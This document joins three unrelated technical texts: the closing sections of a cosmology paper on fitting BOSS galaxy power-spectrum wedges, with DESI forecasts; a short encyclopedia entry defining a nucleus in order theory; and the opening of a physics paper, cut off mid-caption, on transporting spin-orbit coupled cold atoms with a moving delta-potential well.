The theory-systematic error again essentially accumulates in $\ln (10^{10} A_s)$, where it remains safely small ($<\sigma_{\rm stat}^{\rm BOSS} / 3$), at the $k_{\rm max}$'s we quote. Here the theory-systematic error is measured with a precision which is given by the errors bars obtained on the PT challenge simulation, that can be read off from the Table in Fig.~\ref{fig:pt}: in terms of BOSS error bars, the theory-systematic error is detected with a precision of $\sim 15\%$ on $\Omega_m$, $\ln(10^{10}A_s)$, and $n_s$, and $\sim 25\%$ on $h$.
These represent small corrections to our BOSS results, as these uncertainties becomes negligible once added in quadrature to the error budget.
\paragraph{} In order to obtain a robust estimate of the $k$-reach, it is important to marginalize over the the `micro-physics' of the simulations, such as e.g. the choice of the HOD model, by analyzing many of them.
We thus now move to another set of simulations.
\subsubsection{Lettered challenge}
The `lettered' challenge boxes are a set of high-fidelity simulations described in~\cite{DAmico:2019fhj} that we already used to assess the scale cut of the EFTofLSS when analyzing multipoles.
The lettered simulations consist in two independent realizations of side length $2.5 \, {\rm Gpc}/h$.
One is populated by 4 different HOD models, labelled A, B, F, G, and the other one, labelled D, is populated by a different HOD model.
For BOSS, we found that we can fit the multipoles up to $k_{\rm max} = 0.23 h\,{\rm Mpc}^{-1}$ when analyzing the data with a BBN prior.
We now do the same study for the new data combination, the wedges, with varying $k_{\rm max}$'s.
{We proceed in the following way}.
We fit all boxes separately and average the posteriors of the cosmological parameters obtained on boxes A, B, F, and G, as they are from the same seed.
We call this combination ABFG.
As D is an independent realization, we can combine its results with the ones of ABFG, allowing us to measure the theory-systematic error with a better precision of about $\sqrt{2}$.
To do so, we combine the individual 1D posteriors of the shifts from the truth of ABFG with the ones of D, as the product of two Gaussians.
By comparing the resulting shifts of the $1\sigma$ region from the truth, to the error bars obtained on BOSS, we get another precise measurement of the theory-systematic error.
\begin{figure}[ht!]
\centering
\includegraphics[width=0.49\textwidth]{plots/letter_1loop}
\includegraphics[width=0.49\textwidth]{plots/letter_1loop+}\\ \vspace{0.3em}
\scriptsize
\begin{tabular}{|l|c|c|c|c|}
\hline
$\Delta X / X$ & $P_{\ell=\{0,2,4\}}$ 0.23 & $\slashed{P} + w_{1,2}$ 0.26 1L & $\slashed{P} + w_{1,2}$ 0.32 1L+ \\ \hline
$\Omega_{m }$ & $0.003\pm 0.022$ & $0.011\pm 0.024$ & $-0.003\pm 0.023$ \\
$ h$ & $-0.008\pm 0.007$ & $-0.009\pm 0.008$ & $-0.011\pm 0.007$ \\
$\ln (10^{10}A_s)$ & $0.047\pm 0.024$ & $0.036\pm 0.027$ & $0.036\pm 0.025$ \\
$ n_s$ & $0.029\pm 0.029$ & $0.010\pm 0.031$ & $0.022\pm 0.030$ \\
\hline
\end{tabular}
\caption{\small Triangle plots and $68\%$-confidence intervals of the cosmological parameters obtained fitting the lettered challenge simulation data with a BBN prior.
{\it Left:} Results of the fit to the wedges $\slashed{P} + w_{1,2}$ up to $k_{\rm max}^{\slashed{P}} = 0.26$ using the `1-loop' procedure (1L), at which the cosmological parameters are recovered at best precision with a negligible theory-systematic error compared to BOSS error bars.
{\it Right:} Same as on the left but using the `1-loop+' procedure (1L+) up to $k_{\rm max}^{\slashed{P}} = 0.32$.
All $k$'s are given in $h\,{\rm Mpc}^{-1}$.
The gray lines represent the truth of the simulation.
{\it Bottom: } Corresponding mean and $68\%$-confidence intervals. Here we quote the most precise combination, ABFG+D, as described in the main text.
} \label{fig:letter}
\end{figure}
\paragraph{BOSS scale cut from lettered challenge} In Fig.~\ref{fig:letter}, we show the best results fitting the lettered challenge simulation data with a BBN prior.
Results fitting two multipoles can be found in~\cite{Colas:2019ret} (see also~\cite{DAmico:2020kxu,DAmico:2020tty} for the multipole analysis of these simulations in other cosmologies).
We find that the theory-systematic error is marginally small up to $k_{\rm max}^{\slashed{P}} = 0.26 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}} = 0.22, 0.10 h\,{\rm Mpc}^{-1}$) for the `1-loop' procedure, and up to $k_{\rm max}^{\slashed{P}} = 0.32 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}} = 0.23, 0.15 h\,{\rm Mpc}^{-1}$) for the `1-loop+' procedure: relatively to BOSS error bars, we measure small theory-systematic errors from the combination ABFG+D of about, respectively, $5\%$ and $20\%$ in $h$, $15\%$ and $19\%$ in $\ln (10^{10} A_s)$, and none in $\Omega_m$ or $n_s$.
In terms of BOSS error bars, here the theory-systematic error is detected with an uncertainty of $\sim 40\%$ for all cosmological parameters.
Again, this represents a negligible correction to our BOSS results, as these uncertainties count only for $\sim 10\%$ once added in quadrature to the error budget.
At higher $k_{\rm max}$'s, the theory-systematic error in $\ln (10^{10} A_s)$ becomes statistically significant.
The $k_{\rm max}$'s that we get from the lettered challenge simulations are slightly {smaller} by a few $k$ bins ($\Delta k \sim 0.01$) than the answer that we get from the PT challenge simulation.
To stay on the safe side, we will choose the most conservative choice to analyze the BOSS data.
\paragraph{} To summarize, from simulations we learn that we can {confidently} fit the BOSS data in wedges up to $k_{\rm max}^{\slashed{P}} = 0.26 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}} = 0.22, 0.10 h\,{\rm Mpc}^{-1}$) for the `1-loop' procedure, and up to $k_{\rm max}^{\slashed{P}} = 0.32 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}} = 0.23, 0.15 h\,{\rm Mpc}^{-1}$) for the `1-loop+' procedure, with a controlled theory-systematic error.
\subsection{BOSS}
As {we did} for the simulations, we use multipole measurements that we eventually rotate to our new data combination as described in Subsection~\ref{sec:lkl}.
The power spectrum multipole measurements are the ones obtained and described in~\cite{cf}~\footnote{Contrary to the analysis of~\cite{cf} that follows~\cite{DAmico:2019fhj,Colas:2019ret}, we remind that in this work we analyze three multipoles instead of two (or wedges constructed from three multipoles), fix the neutrinos to minimal mass, and do not set the stochastic term $\sim k^2$ in the monopole to zero. }.
We fit $4$ skycuts, CMASS NGC, CMASS SGC, LOWZ NGC, and LOWZ SGC, {assigning to} each an independent set of EFT parameters.
These skycuts are constructed from the BOSS DR12 catalogs given the redshift range $0.2 < z< 0.43$ for LOWZ and $0.43 < z < 0.7$ for CMASS.
All observational effects such as window functions, etc. are accounted as described in~\cite{DAmico:2019fhj} and using \code{PyBird}~\cite{DAmico:2020kxu}.
\begin{figure}[ht!]
\centering
\includegraphics[width=0.87\textwidth]{plots/boss} \\ \vspace{0.3em}
\footnotesize
\begin{tabular}{|l|c|c|c|c|}
\hline
${\rm Params}$ & $P_{\ell=\{0,2,4\}}$ 0.23 & $\slashed{P} + w_{1,2}$ 0.26 1L & $\slashed{P} + w_{1,2}$ 0.32 1L+ \\ \hline
$\Omega_{m }$ & $0.323^{+0.015}_{-0.021}$ & $0.317^{+0.015}_{-0.021}$ & $0.314^{+0.015}_{-0.019} $ \\
$ h$ & $0.683^{+0.012}_{-0.015}$ & $0.686^{+0.013}_{-0.015}$ & $0.684^{+0.012}_{-0.014} $ \\
$\ln (10^{10}A_s)$& $2.87\pm 0.16$ & $2.89\pm 0.17 $ & $2.89\pm 0.17 $\\
$ n_s$ & $0.888^{+0.066}_{-0.054} $ & $0.884^{+0.067}_{-0.058} $ & $0.878^{+0.063}_{-0.057} $ \\
\hline
\end{tabular}
\caption{\small Triangle plots and $68\%$-confidence intervals of the cosmological parameters obtained fitting the multipoles or the wedges of BOSS data with a BBN prior.
All $k$'s are given in $h\,{\rm Mpc}^{-1}$.
} \label{fig:boss}
\end{figure}
In Fig.~\ref{fig:boss}, we show the results obtained fitting the wedges of BOSS data with a BBN prior.
The improvement in the error bars is marginal: while we do not gain from the `1-loop' procedure, from the `1-loop+' procedure we gain about $10\%$ in $\Omega_m$, while the error bars on $h$, $\ln(10^{10}A_s)$, and $n_s$ are similar at $\lesssim 3\%$.
Thus, the gain in BOSS is much less than the gain in the PT challenge as we go from multipoles to wedges.
We have checked on the PT challenge simulation by rescaling the covariance to the volume of BOSS data or to an intermediate volume, or by using Fisher matrix, that indeed, the gain in error bars depends on the data volume, {\it i.e.} on the cosmic variance.
We now turn to see what improvements we can expect for the next-stage surveys such as DESI.
\begin{figure}[ht!]
\centering
\includegraphics[width=0.49\textwidth]{plots/desi_1loop}
\includegraphics[width=0.49\textwidth]{plots/desi_1loop+}
\scriptsize
\begin{tabular}{|l|c|c|c|c|}
\hline
$\Delta X / X$ & $P_{\ell=\{0,2,4\}}$ 0.14 & $\slashed{P} + w_{1,2}$ 0.26 1L & $\slashed{P} + w_{1,2}$ 0.32 1L+ \\ \hline
$\Omega_{m }$ & $-0.003^{+0.027}_{-0.030} $ & $-0.003\pm 0.024 $ & $-0.006\pm 0.024 $ \\
$ h$ & $-0.0023^{+0.0093}_{-0.011}$ & $-0.0002\pm 0.0076 $ & $-0.0008\pm 0.0080 $\\
$\ln (10^{10}A_s)$ & $0.023\pm 0.026$ & $0.0096\pm 0.024 $ & $0.013^{+0.023}_{-0.027} $ \\
$ n_s$ & $0.012\pm 0.034 $ & $0.000\pm 0.032 $ & $0.003\pm 0.030 $\\
\hline
\end{tabular}
\caption{\small Triangle plots and $68\%$-confidence intervals of the cosmological parameters obtained fitting the PT challenge simulation data with a BBN prior and DESI covariance.
{\it Left:} Results of the fit to the multipoles $P_{\ell=\{0,2,4\}}$, up to $k_{\rm max} = 0.14$, and to the wedges $\slashed{P} + w_{1,2}$ up to $k_{\rm max}^{\slashed{P}} = 0.26$ using the `1-loop' procedure (1L).
At these scale cuts, the cosmological parameters are recovered at best precision with a marginally-small theory-systematic error $\sigma_{\rm sys}/\sigma_{\rm stat}^{\rm DESI} < 1/3$.
$\sigma_{\rm sys}$ is measured using the covariance corresponding to the PT challenge volume $V_{\rm PT}$, while the error bars $\sigma_{\rm stat}^{\rm DESI}$ obtained using the covariance rescaled to DESI volume $V_{\rm DESI}$.
{\it Right:} Same as on the left but using the `1-loop+' procedure (1L+) up to $k_{\rm max}^{\slashed{P}} = 0.32$.
All $k$'s are given in $h\,{\rm Mpc}^{-1}$.
The gray lines represent the truth of the simulation.
{\it Bottom: } Corresponding mean and $68\%$-confidence intervals with the DESI covariance rescaled to DESI volume.
} \label{fig:desi}
\end{figure}
\subsection{DESI-like survey}
Here we will argue that there is a substantial gain to analyze the data with our wedges combination instead of multipoles for a survey like DESI.
To show this, we use the PT challenge simulation as follows.
First, we re-compute the covariance assuming Gaussianity as described in~\cite{Nishimichi:2020tvu} but with galaxy number density $\bar{n}_g^{\rm DESI} = 2 \times 10^{-3} \, h^3/\textrm{Gpc}^3$, which is the expected {one for} DESI.
We then analyze the PT challenge multipoles and wedges with this new, `DESI' covariance.
We also rescale the prior of the constant stochastic bias in Eq.~\eqref{eq:powerspectrum} with $\bar{n}_g^{\rm DESI}$, but not the ones of the stochastic terms going as $\sim k^2$, as only the constant shot noise is subtracted from the simulation data.
Using the total simulation volume, we can get a good measurement of the theory-systematic error, while if we rescale the DESI covariance to the volume $25.5 \,(\textrm{Gpc}/h)^3$, we can get a good estimate of the error bars we can expect to obtain with DESI.
Notice that the PT challenge were calibrated for BOSS selection functions and specifics.
We thus warn that our present study for DESI is approximate.
However, we find that the conclusions we reach here are confirmed by Fisher matrix study, in which we can put the right priors on all stochastic terms.
In particular, the gain in error bars stays close to the numbers we quote if we vary the redshift from $z_{\rm BOSS}=0.61$ to $z_{\rm DESI} \sim 1$.
Therefore, we are confident in the error bars we quote, and, we have checked that our conclusions are mostly unaffected as we vary reasonably the scale cut around the one we estimate here.
\paragraph{} In Fig.~\ref{fig:desi}, we show the best results obtained fitting the multipoles and wedges with a BBN prior of the PT challenge simulation with the DESI covariance.
For a theory-systematic error no larger than $<\sigma_{\rm stat}^{\rm DESI} /3$, the multipoles can be fit up to $k_{\rm max} = 0.14 h\,{\rm Mpc}^{-1}$, while the wedges can be fit up to $k_{\rm max}^{\slashed{P}} = 0.26 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}}= 0.22, 0.11 h\,{\rm Mpc}^{-1}$) for the `1-loop' procedure, and up to $k_{\rm max}^{\slashed{P}} = 0.32 h\,{\rm Mpc}^{-1}$ ($k_{\rm max}^{w_{1,2}}= 0.23, 0.15h\,{\rm Mpc}^{-1}$) for the `1-loop+' procedure.
This can be seen from Fig.~\ref{fig:desi_kmax}.
The error bars obtained by fitting the wedges with both procedures are similar ($\lesssim 5\%$ difference), and shrink by about $20\%$ on $\Omega_m$ and $h$, $5\%$ on $\ln(10^{10}A_s)$, and $10\%$ on $n_s$, compared to the multipole results.
\begin{figure}[]
\includegraphics[width=0.99\textwidth]{plots/desi_kmax}
\caption{\small In continuous line, we plot the theory-systematic error $\sigma_{\rm sys}$ relative to the statistical error $\sigma_{\rm stat}$ as a function of $k_{\rm max} \equiv k_{\rm max}^{\slashed{P}}$ measured on the PT challenge simulation with the DESI covariance, fitting wedges $\slashed{P} + w_{1,2}$ using the `1-loop' procedure (1L) or the `1-loop+' procedure (1L+), with a BBN prior, for each cosmological parameter.
$\sigma_{\rm sys}$ is measured using the covariance corresponding to the full PT challenge volume, while $\sigma_{\rm stat}$ is measured using the covariance rescaled at DESI volume.
The final $k_{\rm max}$ is declared at which $\sigma_{\rm sys}/\sigma_{\rm stat} \simeq 1/3$, which is represented by the grey horizontal line.
The gain in error bars with respect to best results from the fit to multipoles $\sigma_{\rm stat}/\sigma_{\rm stat}^{P_{\ell=\{0,2,4\}}, k_{\rm max}=0.14}$ is given in dashed lines, and the best one can be read off at that $k_{\rm max}$.
} \label{fig:desi_kmax}
\end{figure}
\section*{Acknowledgments}
The data analysis was performed in part on the Sherlock cluster at the Stanford University, for which we thank the support team, in part on the computer clusters LINDA \& JUDY in the particle cosmology group at the University of Science and Technology of China, and in part on the HPC (High Performance Computing) facility of the University of Parma, Italy.
This work was supported in part by MEXT/JSPS KAKENHI Grant Number JP19H00677, JP20H05861 and JP21H01081.
We also acknowledge financial support from Japan Science and Technology Agency (JST) AIP Acceleration Research Grant Number JP20317829.
The simulation data analysis was performed partly on Cray XC50 at Center for Computational Astrophysics, National Astronomical Observatory of Japan.
\begin{appendix}
\end{appendix}
\bibliographystyle{JHEP}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 9,085 |
{"url":"https:\/\/en.m.wikipedia.org\/wiki\/Nucleus_(order_theory)","text":"# Nucleus (order theory)\n\nIn mathematics, and especially in order theory, a nucleus is a function ${\\displaystyle F}$ on a meet-semilattice ${\\displaystyle {\\mathfrak {A}}}$ such that (for every ${\\displaystyle p}$ in ${\\displaystyle {\\mathfrak {A}}}$):[1]\n\n1. ${\\displaystyle p\\leq F(p)}$\n2. ${\\displaystyle F(F(p))=F(p)}$\n3. ${\\displaystyle F(p\\wedge q)=F(p)\\wedge F(q)}$\n\nEvery nucleus is evidently a monotone function.\n\n## Frames and locales\n\nUsually, the term nucleus is used in frames and locales theory (when the semilattice ${\\displaystyle {\\mathfrak {A}}}$\u00a0 is a frame).\n\nProposition: If ${\\displaystyle F}$\u00a0 is a nucleus on a frame ${\\displaystyle {\\mathfrak {A}}}$\u00a0, then the poset ${\\displaystyle \\operatorname {Fix} (F)}$\u00a0 of fixed points of ${\\displaystyle F}$\u00a0, with order inherited from ${\\displaystyle {\\mathfrak {A}}}$\u00a0, is also a frame.[2]\n\n## References\n\n1. ^ Johnstone, Peter (1982), Stone Spaces, Cambridge University Press, p.\u00a048, ISBN\u00a0978-0-521-33779-3, Zbl\u00a00499.54001 CS1 maint: discouraged parameter (link)\n2. ^ Miraglia, Francisco (2006). An Introduction to Partially Ordered Structures and Sheaves. Polimetrica s.a.s. Theorem\u00a013.2, p.\u00a0130. ISBN\u00a09788876990359.","date":"2021-04-11 19:41:18","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 13, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.8455345034599304, \"perplexity\": 3980.9646541074712}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038064898.14\/warc\/CC-MAIN-20210411174053-20210411204053-00126.warc.gz\"}"} | null | null |
\section{Introduction\label{sec:Introduction}}
Transport of matterwave is essential in many ultracold atom physics
experiments and applications. With such a technique, an ultracold atom
experiment can be split into matterwave producing and matterwave using
modules. Each module can be optimized separately. Thus the experiment can be
performed more efficiently
\citep{Gustavson2001Transport,Greiner2001Magnetic,Goldwin2004Measurement}.
In this thought, for example, atomic gases have been loaded into optical
cavities
\citep{Sauer2004Cavity,Brennecke2007Cavity,Colombe2007Strong,
Culver2016Collective,Jiang2019Efficiently,Bowden2019APyramid}
and hollow fibers
\citep{Bajcsy2009Efficient,Vorrath2010Efficient,Bajcsy2011Laser,
Hilton2018High,Yoon2019Laser
, leading to a good many interesting research works (for reviews see
references \citep{Ritsch2013Clod,Zhou2013Cavity,Adnan2017Experimental}). It
is also found that the transport of atomic matterwave can be very useful in the
realization of atom interferometry
\citep{Arndt2012Focus,Eckel2014Interferometric,Xin2018AnAtom}, atomtronics
device
\citep{Ryu2013Experimental,Ryu2015Integrated,Li2016Superfluid,Amico2017Focus}
and continuous atom laser
\citep{Chikkatur2002Acontinuous,Lahaye2006Transport,Guerin2006Guided}.
Many schemes to transport cold atomic matterwave have been demonstrated. In
moving molasses technique \citep{Kasevich1991Atomic,Gibble1993Laser}, the
cloud of cold atoms freely flies to the destination by itself.
Controlled transport can be realized by applying an atomic waveguide
\citep{Renn1995Laser,Ito1996Laser,Muller1999Guiding,Denschlag1999Guiding,
Key2000Propagation,Strecker2002Formation,Leanhardt2002Propagation,
Plaja2002Expansion,Gupta2005Bose,BravoAbad2006Photonic,Marchant2013Controlled
. However, using these techniques, the cloud of atoms expands, and its
density drops during the transporting process. To overcome this blemish,
matterwave transport using a moving potential well is introduced, and soon becomes
widely used in cold atom experiments
\citep{Gustavson2001Transport,Greiner2001Magnetic,Goldwin2004Measurement,
Hansel2001Magnetic,Lahaye2006Transport,Schmid2006Long,Couvert2008Optimal,
Alberti2009Engineering,Roy2017AMinimalistic,Chong2018Observation}.
The moving dynamic of spin-orbit (SO) coupled matterwave shows new features.
For a SO coupled system, the Galilean invariance does not hold any more
\citep{Zhou2012Opposite,Vyasanakere2012Collective,Zhang2016Properties}.
Different moving directions or speeds can have very different effects on the
dynamics of SO coupled atomic gases. As a result, many interesting phenomena
arise. A few examples are listed below. The critical velocity of
superfluidity becomes reference frame dependent \citep{Zhu2012Exotic}. An
oscillation of magnetization in SO coupled Bose-Einstein condensate (BEC) is
induced by the moving \citep{Zhang2012Collective,Li2012sum}. The shape of a
SO coupled BEC bright soliton changes with its velocity \citep{Xu2013Bright
. In a translating optical lattice, SO coupled BEC behaves anisotropically
depending on the direction of translation \citep{Hamner2015Spin}. The normal
density of superfluidity does not vanish even at zero temperature
\citep{Zhang2016Superfluid}. And, non-magnetic one-way spin switch
\citep{Mossman2019Experimental} and spin-current generation
\citep{Li2019Spin} have also been demonstrated recently.
In this paper, we study the transport of SO coupled cold atomic matterwave
using a moving Dirac delta-potential well, see diagram figure
\ref{fig:Diagram}. We show that the delta-potential well can at most support
both a ground and an excited bound state in SO coupled cold atom system.
These bound states can be used to efficiently transport the cold atomic
matterwave, thus serve as the transporting channels in the problem. Moving
of the potential well will induce a velocity proportional effective
detuning, which can substantially affect the transporting channels. This
induced detuning breaks the spin symmetry, and makes the two transporting
channels being spin-polarized. For a slowly positive direction moving
delta-potential well, the ground state channel is spin-$\uparrow$ favored,
while the excited state channel is spin-$\downarrow$ favored. Both the spin-
\uparrow$ and spin-$\downarrow$ components can be transported through its
favorable channel. And for a slowly negative direction moving
delta-potential well, things are very similar, except that the roles of spin
$\uparrow$ and spin-$\downarrow$ exchange with each other. When the velocity
of the moving delta-potential well exceeds a critical value, the induced
effective detuning will be large enough to lift the excited state out of the
binding ability of the delta-potential well, thus eliminate the excited bound
state transporting channel. Therefore, in such a case,
matterwave can only be transported
through the ground state channel. Since for a positive (negative) direction
moving delta-potential well, the ground state channel is spin-$\uparrow$
(spin-$\downarrow$) dominant, only this appropriate spin component of matterwave
can be efficiently transported. These unidirectional transporting features
indicate that the system considered here may potentially be used to realize
spintronic devices such as spin diode \citep{Cheuk2012SpinInjection,Lan2015SpinWave},
valve \citep{Zhao2019Tunalble} and filter \citep{Lebrat2019Quantized,Corman2019Quantized}.
The rest part of this paper is organized as follows: In section \re
{sec:Model}, the physical model of this paper is presented. In section \re
{sec:TransportingChannels}, we solve the bound states (i.e., the
transporting channels) of the moving delta-potential well, and discuss their
properties. In section \ref{sec:Results}, the transporting dynamics and
efficiency are shown. And at last, the paper is summarized in section \re
{sec:Summary}.
\section{Model\label{sec:Model}}
\begin{figure}[tbp]
\begin{centering}
\includegraphics{fig1}
\par\end{centering}
\caption{Diagram of transporting SO coupled cold atomic matterwave using a
moving delta-potential well. At time $t=0$, an atomic SO coupled BEC is
prepared in the ground state of a delta-potential well. The atoms are
equally distributed in the spin-$\uparrow$ and spin-$\downarrow$ components.
Afterward, one moves the delta-potential well at velocity $v$ to transport
the matterwave.
Top panel (a): Schematic sketch of the system. The SO coupling
is realized by the two counter-propagating Raman lasers $L_1$ and $L_2$. The
third tightly focused movable laser beam $L_3$ generates the delta-potential well.
Middle panel (b): For a small velocity moving delta-potential
well, it can support two transporting channels --- ground and excited bound
states of the moving delta-potential well in the comoving frame. One of the
transporting channels is spin-$\uparrow$ favored, while the other one is
spin-$\downarrow$ favored. Both the spin-$\uparrow$ and spin-$\downarrow$
components can be efficiently transported in such a case. Bottom panel (c):
For a large velocity moving delta-potential well, the moving induced
effective detuning lifts the excited state out of the binding ability of the
potential well, thus matterwave transportation can only take place in the
ground state channel. For a positive (negative) direction moving
delta-potential well, the ground state channel is spin-$\uparrow$ (spin-
\downarrow$) dominant, thus only the spin-$\uparrow$ (spin-$\downarrow$)
component can be efficiently transported. }
\label{fig:Diagram}
\end{figure}
We consider the transporting of quasi-one-dimensional SO coupled cold atoms
using a moving delta-potential well, see figure \ref{fig:Diagram}. The SO
coupling is realized by the two x-direction counter-propagating Raman lasers
$L_1$ and $L_2$ \citep{Lin2011Spin}. And the delta-potential well can be
generated using a y-direction shining tightly focused laser beam
\citep{Uncu2007Bose,Garrett2011Growth}.
Such a system can be described by Hamiltonian
\begin{align}
H & =H_{0}+U\left(x,t\right), \label{eq:Hamiltonian}
\end{align}
where $U\left(x,t\right)$ is the external potential, and $H_{0}$ is the SO
coupled free particle Hamiltonian
\begin{equation}
H_{0}=\left
\begin{matrix}
\frac{\left(p_{x}-p_{c}\right)^{2}}{2m}-\frac{\hbar\Delta_{0}}{2} & \frac
\hbar\Omega}{2} \\
\frac{\hbar\Omega}{2} & \frac{\left(p_{x}+p_{c}\right)^{2}}{2m}+\frac
\hbar\Delta_{0}}{2
\end{matrix
\right]. \label{eq:Hamiltonian0}
\end{equation}
Here $p_{x}=\hbar k_{x}=-i\hbar\frac{\partial}{\partial x}$ is the
one-dimensional momentum operator, $p_{c}=\hbar k_{c}$ is the strength of SO
coupling determined by momentum transfer during the Raman scattering
process, $\Delta_{0}$ is the detuning of the Raman driving from the atomic
energy level splitting (in this paper we assume that its value is set to zero
$\Delta_{0}=0$), $\Omega$ is the effective Rabi frequency for Raman flipping
between the two spin states. The inter-atom collision interaction is not
included here, as it is assumed to have been eliminated by the Feshbach
resonance technique \citep{Chin2010Feshbach,Timmermans1999Feshbach}. In the
following contents, for convenience natural unit $\hbar=m=1$ will be used.
Before time $t=0$, the system is prepared in the ground state of a
delta-potential well localized at $x=0$. Then, for time $t>0$, we move the
delta-potential well at a constant velocity $v$, and study the subsequent
transportation. Hence, the external potential $U\left(x,t\right)$ can be
written in a piece-wise function as follows
\begin{equation}
U\left(x,t\right)
\begin{cases}
V_{0}\left(x\right)=-V_{0}\delta\left(x\right), & t\leq0, \\
V\left(x,t\right)=-V_{0}\delta\left(x-vt\right), & t>0
\end{cases}
\label{eq:potential}
\end{equation}
The initial state can be constructed using the free particle oscillating
evanescent wave modes (for detail see section \ref{sec:TransportingChannels
)
\begin{equation}
\psi_{0}
\begin{cases}
A_{0,1}\xi_{-;1}e^{ik_{x;1}x}+A_{0,2}\xi_{-;2}e^{ik_{x;2}x}, & x\leq0, \\
A_{0,3}\xi_{-;3}e^{ik_{x;3}x}+A_{0,4}\xi_{-;4}e^{ik_{x;4}x}, & x>0
\end{cases}
\label{eq:psi0}
\end{equation}
The transporting dynamic for time $t>0$ is governed by time-dependent Schr\"{o}dinger equation
\begin{equation}
i\frac{\partial\psi\left(x,t\right)}{\partial t}=H\left(x,t\right)\ps
\left(x,t\right). \label{eq:Schrodinger}
\end{equation}
Noticed that here the Hamiltonian is time-dependent, it will be convenient
to deal with the problem in a frame comoving with the potential. So we take
the following transformation
\begin{equation}
x\rightarrow x-vt,\quad t\rightarrow t, \label{eq:transformation_12}
\end{equation}
and
\begin{equation}
\psi\rightarrow\psi e^{-ivx}e^{iv^{2}t/2}. \label{eq:transformation_3}
\end{equation}
Under this transformation, equation (\ref{eq:Schrodinger}) becomes
\begin{equation}
i\frac{\partial\psi\left(x,t\right)}{\partial t}=H_{t}\psi\left(x,t\right),
\label{eq:MovintgSchordinger}
\end{equation}
with the transformed Hamiltonian being \citep{Zhang2012Collective}
\begin{align}
H_{t} & =\frac{1}{2}\left
\begin{matrix}
\left(k_{x}-k_{c}\right)^{2}-\Delta & \Omega \\
\Omega & \left(k_{x}+k_{c}\right)^{2}+\Delt
\end{matrix
\right]+V_{0}\left(x\right), \label{eq:Hamiltonian_t}
\end{align}
where
\begin{equation}
\Delta=2k_{c}v, \label{eq:effectiveDetuning}
\end{equation}
is an effective detuning induced by the moving of
external potential.
This new time-independent Hamiltonian is similar to the Hamiltonian at time
t=0$, except for the moving induced additional detuning term. Therefore, the
moving delta-potential also supports bound states, and these bound states
can also be constructed similarly using the oscillating evanescent waves
(for detail also see section \ref{sec:TransportingChannels})
\begin{equation}
\psi_{tb}
\begin{cases}
A_{t,1}\xi_{-;t1}e^{ik_{x;t1}x}+A_{t,2}\xi_{-;t2}e^{ik_{x;t2}x}, & x\leq0,
\\
A_{t,3}\xi_{-;t3}e^{ik_{x;t3}x}+A_{t,4}\xi_{-;t4}e^{ik_{x;t4}x}, & x>0
\end{cases}
\label{eq:psitb}
\end{equation}
These states are bounded by, and at the same time, comove with the external
potential, thus can serve as the transporting channels of the system. In the
next section, we will show that the moving delta-potential well can at most
support two bound states. We label them as $\psi_{tb;g}$ and $\psi_{tb;e}$,
with subscript ``$g$'' and ``$e$'' meaning the ground and excited states.
And, the excited state disappears for large potential moving velocity.
Hamiltonian (\ref{eq:Hamiltonian_t}) also supports an infinite number of
scattering states. However, after a long-time evolution, these states spread
all over the whole space and have negligible densities. Therefore, they are
not important for the transportation. Neglecting them, the efficiently
transported matterwave can be described by the following wavefunction
\citep{Granot2009Quantum,Sonkin2010Trapping}
\begin{equation}
\psi_{t}=C_{g}\psi_{tb;g}e^{-iE_{g}t}+C_{e}\psi_{tb;e}e^{-iE_{e}t},
\label{eq:psit}
\end{equation}
where $E_{g}$ and $E_{e}$ are the ground state and excited state
eigenenergies, and $C_{g}$ and $C_{e}$ are the ground state and excited
state probability amplitudes determined by the initial wavefunction
according to formulae
\begin{equation}
C_{g,e}=\int_{-\infty}^{\infty}\psi_{tb;g,e}^{\dagger}\psi_{0}e^{ivx}dx.
\label{eq:Cge}
\end{equation}
Here, when the excited state does not exist, one simply sets $C_{e}=0$ to
eliminate its role.
At last, we define some quantities to characterize the transporting
efficiency of the moving delta-potential well. The time averaged spin-
\uparrow$ and spin-$\downarrow$ atom numbers of transported matterwave are
given by
\begin{equation}
N_{t;\uparrow,\downarrow}=\sum_{i=g,e}\int\left|C_{i}\psi_{tb;i\uparrow
\downarrow}\right|^{2}dx, \label{eq:NtUpDown}
\end{equation}
And the time averaged total atom number of transported matterwave is
\begin{equation}
N_{t}=N_{t;\uparrow}+N_{t;\downarrow}=\left|C_{g}\right|^{2}+\left|C_{e
\right|^{2}. \label{eq:Nt}
\end{equation}
We emphasize that the total atom number of initial state $\psi_{0}$ will be
normalized to $1$ in this paper, therefore $N_{t;\uparrow\downarrow}$ and
N_{t}$ defined here indeed can be interpreted as the fraction of transported atoms
compared to the initial state.
\section{Transporting channels: bound states of the moving delta-potential
well\label{sec:TransportingChannels}}
\begin{figure*}[tbp]
\begin{centering}
\includegraphics{fig2}
\par\end{centering}
\caption{Free particle spectrum of SO coupled cold atomic matterwave. SO
coupling and Rabi coupling strengths are $k_{c}=1,\Omega=0.2$. Left panel:
positive detuning $\Delta=0.1$. Middle panel: zero detuning $\Delta=0$.
Right panel: negative detuning $\Delta=-0.1$. The violet lines correspond to
the upper (``U'') spectrum branch $E_{+}$, while the green lines correspond
to the lower (``L'') spectrum branch $E_{-}$. The solid, dashed and dotted
